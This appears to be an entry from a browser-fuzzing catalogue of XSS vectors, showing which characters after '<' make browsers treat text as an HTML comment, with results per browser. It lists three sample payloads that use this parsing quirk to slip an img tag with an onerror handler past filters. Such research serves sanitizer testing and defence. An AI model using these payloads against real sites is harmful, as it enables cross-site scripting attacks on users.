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Characters that can start an HTML comment

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This vector shows which characters can be used after the "<" character and act as an HTML comment

0x999-x
Created by0x999-x
Created Jul 18, 2024
Updated May 28, 2025

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CategoryHTML Parsing
VisibilityPublic
TypeHTML
CharsetUTF-8
Template used:
<$[chr] <a/b="--><found>"

Sample payloads

<! <a/b="--><img/src/onerror=alert(1)>"
</ <a/b="--><img/src/onerror=alert(1)>"
<? <a/b="--><img/src/onerror=alert(1)>"

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Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
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Chrome 127.0.0.0 desktop macOS 10.15.7older version
Updated20 Aug 2024
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Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 3 results
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Firefox logo
Firefox 129.0 desktop macOS 10.15older version
Updated20 Aug 2024
Found 3 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 3 results
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Safari 17.6 mobile iOS 17.6.1
Updated20 Aug 2024
Found 3 results
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